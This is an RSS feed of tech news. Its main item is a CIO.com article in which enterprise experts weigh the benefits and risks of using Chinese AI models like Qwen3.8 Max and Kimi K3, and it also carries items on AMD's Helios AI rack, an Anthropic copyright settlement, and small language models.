<p class="wp-block-paragraph">Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been <a href="https://www.cio.com/article/3816301/how-would-a-potential-ban-on-deepseek-impact-enterprises.html" target="_blank">nervous about relying on Chinese AI models</a>. </p>



<p class="wp-block-paragraph">But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model <a href="https://x.com/Alibaba_Qwen/status/2078759124914098291" target="_blank" rel="noreferrer noopener">Qwen3.8 Max</a> and Moonshot’s 2.8-trillion-parameter model <a href="https://www.kimi.com/blog/kimi-k3" target="_blank" rel="noreferrer noopener">Kimi K3</a>, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.</p>



<p class="wp-block-paragraph">Former Walmart head of risk <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, now an independent cybersecurity and risk advisor, thinks they should at least take another look. </p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”</p>



<h2 class="wp-block-heading">Choose applications with care</h2>



<p class="wp-block-paragraph">He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. </p>



<p class="wp-block-paragraph">“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”</p>



<p class="wp-block-paragraph">On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”</p>



<p class="wp-block-paragraph">Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.</p>



<p class="wp-block-paragraph">“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”</p>



<h2 class="wp-block-heading">Too early for enterprises to consider</h2>



<p class="wp-block-paragraph">However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. </p>



<p class="wp-block-paragraph">Cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. </p>



<p class="wp-block-paragraph">“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. </p>



<p class="wp-block-paragraph">“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. </p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.</p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”</p>



<p class="wp-block-paragraph">He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”</p>



<p class="wp-block-paragraph">But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”</p>



<p class="wp-block-paragraph">Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">banned their usage</a>.  </p>



<h2 class="wp-block-heading">A rational choice for some workloads</h2>



<p class="wp-block-paragraph">However, <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. </p>



<p class="wp-block-paragraph">“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”</p>



<p class="wp-block-paragraph">Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199590/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Watch Glucose Monitoring Cheat Sheet: Which Models Work and What You Need]]></title>
<description><![CDATA[Apple Watch glucose monitoring cheat sheet compares compatible models, Dexcom, Libre, and Eversense support, pricing, battery life, and key setup needs.]]></description>
<link>https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/</guid>
<pubDate>Tue, 21 Jul 2026 21:03:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Watch glucose monitoring cheat sheet compares compatible models, Dexcom, Libre, and Eversense support, pricing, battery life, and key setup needs.]]></content:encoded>
</item>
<item>
<title><![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]></title>
<description><![CDATA[Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 



But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, ar...]]></description>
<link>https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</guid>
<pubDate>Tue, 21 Jul 2026 21:03:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been <a href="https://www.cio.com/article/3816301/how-would-a-potential-ban-on-deepseek-impact-enterprises.html" target="_blank">nervous about relying on Chinese AI models</a>. </p>



<p class="wp-block-paragraph">But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model <a href="https://x.com/Alibaba_Qwen/status/2078759124914098291" target="_blank" rel="noreferrer noopener">Qwen3.8 Max</a> and Moonshot’s 2.8-trillion-parameter model <a href="https://www.kimi.com/blog/kimi-k3" target="_blank" rel="noreferrer noopener">Kimi K3</a>, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.</p>



<p class="wp-block-paragraph">Former Walmart head of risk <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, now an independent cybersecurity and risk advisor, thinks they should at least take another look. </p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”</p>



<h2 class="wp-block-heading">Choose applications with care</h2>



<p class="wp-block-paragraph">He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. </p>



<p class="wp-block-paragraph">“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”</p>



<p class="wp-block-paragraph">On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”</p>



<p class="wp-block-paragraph">Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.</p>



<p class="wp-block-paragraph">“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”</p>



<h2 class="wp-block-heading">Too early for enterprises to consider</h2>



<p class="wp-block-paragraph">However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. </p>



<p class="wp-block-paragraph">Cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. </p>



<p class="wp-block-paragraph">“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. </p>



<p class="wp-block-paragraph">“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. </p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.</p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”</p>



<p class="wp-block-paragraph">He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”</p>



<p class="wp-block-paragraph">But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”</p>



<p class="wp-block-paragraph">Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">banned their usage</a>.  </p>



<h2 class="wp-block-heading">A rational choice for some workloads</h2>



<p class="wp-block-paragraph">However, <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. </p>



<p class="wp-block-paragraph">“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”</p>



<p class="wp-block-paragraph">Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[My All-Purpose Air Quality Monitor Is Helping Me Track the Smoke This Summer]]></title>
<description><![CDATA[SwitchBot’s air meter is one of my favorite monitors to use around the house, especially in wildfire season.]]></description>
<link>https://tsecurity.de/de/3684628/it-nachrichten/my-all-purpose-air-quality-monitor-is-helping-me-track-the-smoke-this-summer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684628/it-nachrichten/my-all-purpose-air-quality-monitor-is-helping-me-track-the-smoke-this-summer/</guid>
<pubDate>Tue, 21 Jul 2026 20:33:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SwitchBot’s air meter is one of my favorite monitors to use around the house, especially in wildfire season.]]></content:encoded>
</item>
<item>
<title><![CDATA[Judge Approves $1.5 Billion Anthropic Settlement Over Pirated Books Used To Train Claude]]></title>
<description><![CDATA[A federal judge has approved Anthropic's $1.5 billion copyright settlement over pirated books used to train its Claude chatbot, with authors and publishers set to receive about $3,000 per book. The case produced a mixed ruling for the AI industry: training on copyrighted books was found not to be...]]></description>
<link>https://tsecurity.de/de/3684594/it-security-nachrichten/judge-approves-15-billion-anthropic-settlement-over-pirated-books-used-to-train-claude/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684594/it-security-nachrichten/judge-approves-15-billion-anthropic-settlement-over-pirated-books-used-to-train-claude/</guid>
<pubDate>Tue, 21 Jul 2026 20:11:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A federal judge has approved Anthropic's $1.5 billion copyright settlement over pirated books used to train its Claude chatbot, with authors and publishers set to receive about $3,000 per book. The case produced a mixed ruling for the AI industry: training on copyrighted books was found not to be illegal, but Anthropic's use of pirated copies from shadow libraries was. The Associated Press reports: District Judge Araceli Martinez-Olguin said in a Monday ruling that the class-action settlement provides "meaningful relief" to affected authors and publishers. About 91% of the more than 482,000 books covered by the ruling have been claimed by authors or publishers who are now due payment. Plaintiff attorney Justin Nelson said in a statement that the settlement was "the largest known copyright recovery in history. We look forward to making distributions to the Class as promptly as possible."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Judge+Approves+%241.5+Billion+Anthropic+Settlement+Over+Pirated+Books+Used+To+Train+Claude%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F21%2F1744202%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F21%2F1744202%2Fjudge-approves-15-billion-anthropic-settlement-over-pirated-books-used-to-train-claude%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/21/1744202/judge-approves-15-billion-anthropic-settlement-over-pirated-books-used-to-train-claude?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smart Home Gyms Are Getting Smarter: These Expert Picks Are Worth Every Penny]]></title>
<description><![CDATA[If you’re unsure whether you should add a smart home gym to your space, let this list of my favorite devices be your guide.]]></description>
<link>https://tsecurity.de/de/3684372/it-nachrichten/smart-home-gyms-are-getting-smarter-these-expert-picks-are-worth-every-penny/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684372/it-nachrichten/smart-home-gyms-are-getting-smarter-these-expert-picks-are-worth-every-penny/</guid>
<pubDate>Tue, 21 Jul 2026 18:34:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you’re unsure whether you should add a smart home gym to your space, let this list of my favorite devices be your guide.]]></content:encoded>
</item>
<item>
<title><![CDATA[10 tech deals for professionals I actually recommend from Best Buy's Black Friday in July sale]]></title>
<description><![CDATA[I uncovered my favorite business tech deals from Airtags and wireless printers, to action cameras and SD card readers.]]></description>
<link>https://tsecurity.de/de/3684155/it-nachrichten/10-tech-deals-for-professionals-i-actually-recommend-from-best-buys-black-friday-in-july-sale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684155/it-nachrichten/10-tech-deals-for-professionals-i-actually-recommend-from-best-buys-black-friday-in-july-sale/</guid>
<pubDate>Tue, 21 Jul 2026 17:22:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I uncovered my favorite business tech deals from Airtags and wireless printers, to action cameras and SD card readers.]]></content:encoded>
</item>
<item>
<title><![CDATA[I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked]]></title>
<description><![CDATA[A reproducible 100-step LoRA fine-tuning run for OpenVLA, with dataset checks, Colab setup, training metrics, and W&B evidence.
The post I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3684124/ai-nachrichten/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684124/ai-nachrichten/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/</guid>
<pubDate>Tue, 21 Jul 2026 17:04:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A reproducible 100-step LoRA fine-tuning run for OpenVLA, with dataset checks, Colab setup, training metrics, and W&amp;B evidence.</p>
<p>The post <a href="https://towardsdatascience.com/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/">I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[We Found the Best AirPods 4 Deals So You Don’t Have to Pay Full Price]]></title>
<description><![CDATA[We tracked down the lowest prices so you can upgrade your setup for as little as $99.]]></description>
<link>https://tsecurity.de/de/3683558/it-nachrichten/we-found-the-best-airpods-4-deals-so-you-dont-have-to-pay-full-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683558/it-nachrichten/we-found-the-best-airpods-4-deals-so-you-dont-have-to-pay-full-price/</guid>
<pubDate>Tue, 21 Jul 2026 13:34:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We tracked down the lowest prices so you can upgrade your setup for as little as $99.]]></content:encoded>
</item>
<item>
<title><![CDATA[Helios marks AMD’s biggest AI infrastructure push yet]]></title>
<description><![CDATA[AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.

...]]></description>
<link>https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</guid>
<pubDate>Tue, 21 Jul 2026 13:21:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.</p>



<p class="wp-block-paragraph">“Helios is AMD’s first complete AI rack system with GPUs, CPUs, and networking built together, instead of selling separate chips. It is well suited for training large AI models, memory heavy models, long context processing and high volume inference, and AMD’s biggest shot yet at challenging Nvidia’s dominance,” said Pareekh Jain, CEO at EIIRTrend &amp; Pareekh Consulting.</p>



<p class="wp-block-paragraph">AMD has also secured an early hyperscale deployment for Helios with <a href="https://newsroom.amd.com/news/microsoft-azure-ai-infrastructure/" target="_blank" rel="noreferrer noopener">Microsoft</a> agreeing to deploy it to power its frontier model AI inference, its AI customers, and support Azure AI services.</p>



<h2 class="wp-block-heading">The architecture behind Helios</h2>



<p class="wp-block-paragraph">The launch of Helios marks AMD’s latest attempt to strengthen its position in a market where Nvidia continues to dominate AI infrastructure. Unlike previous AMD AI offerings centred on individual accelerators, Helios is designed as a complete rack-scale system integrating compute, networking and software.</p>



<p class="wp-block-paragraph">According to Jain, Helios goes up against Nvidia’s <a href="https://www.networkworld.com/article/4188058/nvidia-unveils-vera-rubin-platform-targeting-ai-hpc-infrastructure-customers.html?utm=hybrid_search">Vera Rubin</a> rack. “Nvidia is faster on raw inference speed and has a faster internal connection between chips whereas AMD wins on memory size and offers better value for the price and power used. It’s standout feature is memory, where each rack packs about 50% more total memory than Nvidia’s competing system, which helps run very large AI models. It also uses open, industry-standard connections instead of Nvidia’s private technology, giving buyers more flexibility,” he said.</p>



<p class="wp-block-paragraph">The AMD Helios rackscale design includes 72 AMD Instinct MI455X GPUs with AMD EPYC Venice CPUs and AMD Pensando Vulcano networking using UALink, optimized for compute, data movement, and system efficiency. The platform also supports both OCP and MX data types, delivering up to 2.9 EFLOPS of FP4 and 1.4 EFLOPS of FP8 compute for AI training and inference. </p>



<p class="wp-block-paragraph">It also integrates 31TB of HBM4 memory with 19.6TB/s of memory bandwidth, while a liquid-cooling design uses quick-disconnect connections to efficiently dissipate heat. It is designed on open standards including OCP Open Rack Wide (ORW), <a href="https://www.networkworld.com/article/4155357/new-v2-ualink-specification-aims-to-catch-up-to-nvlink.html?utm=hybrid_search">Ultra Accelerator Link (UALink)</a>, and <a href="https://www.networkworld.com/article/4006285/ultra-ethernet-consortium-publishes-1-0-specification-readies-ethernet-for-hpc-ai.html?utm=hybrid_search">Ultra Ethernet Consortium (UEC)</a> and can be scaled efficiently across datacenters while optimizing power, cooling, and serviceability for modern AI infrastructure, <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">said</a> the company.</p>



<p class="wp-block-paragraph">On the security front, Helios incorporates a hardware root of trust and continuous attestation at every layer. It supports hardware-enforced isolation, encrypted memory and interconnects to help protect AI models, data and workloads in multi-tenant environments.</p>



<h2 class="wp-block-heading">The software challenge</h2>



<p class="wp-block-paragraph">While the launch of Helios might help AMD close the hardware gap with Nvidia’s rack-scale systems, it will be the software compatibility that will be the real driver of enterprise adoption.</p>



<p class="wp-block-paragraph">For this, AMD is expanding its ROCm AI software platform too, which supports frameworks including PyTorch, TensorFlow, and JAX, for enabling high-throughput inference and efficient distributed training while preserving familiar developer workflows.</p>



<p class="wp-block-paragraph">Jain stated While hardware parity or superiority in memory bandwidth is achievable, software maturity remains the key differentiator for Nvidia. The Nvidia’s <a href="https://www.networkworld.com/article/4079693/quantum-circuits-brings-dual-rail-qubits-to-nvidias-cuda-q-development-platform.html?utm=hybrid_search">CUDA</a> software has a 15-20 year head start, and almost every AI tool, tutorial, and codebase defaults to it.</p>



<p class="wp-block-paragraph">He added software has been AMD’s weak spot. AMD has improved  ROCm a lot but it still lags behind on the newest, most specialized optimizations, and setup is more complicated. For everyday AI work, ROCm is usable but for cutting-edge performance, CUDA still leads.</p>



<h2 class="wp-block-heading">Evaluating the trade-offs</h2>



<p class="wp-block-paragraph">For CIOs evaluating AI infrastructure, Helios launch brings in another option to a market that has largely revolved around Nvidia’s dominance. But when considering Helios, CIOs will have to evaluate factors such as performance, software readiness, deployment models, procurement timelines and total cost of ownership before committing to a platform.</p>



<p class="wp-block-paragraph">While AMD has not publicly announced a specific price tag for the Helios, Jain believes it to be noticeably cheaper to buy and run with lower chip prices and lower power use per GPU.</p>



<p class="wp-block-paragraph">“It gives companies a real second option besides Nvidia, easing supply shortages and giving leverage in negotiations. The catch is software, where teams need to check whether their AI tools run well on AMD’s stack, since some advanced tools are still CUDA only,” Jain said. </p>



<p class="wp-block-paragraph">For CIOs planning to deploy both, Jain warns the two systems can’t be plugged together into one combined machine as they use different, incompatible connection technology. But companies can and do run both side by side in the same data center, just as separate systems handling different jobs.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smart Home Gyms Are Getting Smarter: These Expert Picks Are Worth Every Penny]]></title>
<description><![CDATA[If you’re unsure whether you should add a smart home gym to your space, let this list of my favorite devices be your guide.]]></description>
<link>https://tsecurity.de/de/3683377/it-nachrichten/smart-home-gyms-are-getting-smarter-these-expert-picks-are-worth-every-penny/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683377/it-nachrichten/smart-home-gyms-are-getting-smarter-these-expert-picks-are-worth-every-penny/</guid>
<pubDate>Tue, 21 Jul 2026 12:32:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you’re unsure whether you should add a smart home gym to your space, let this list of my favorite devices be your guide.]]></content:encoded>
</item>
<item>
<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



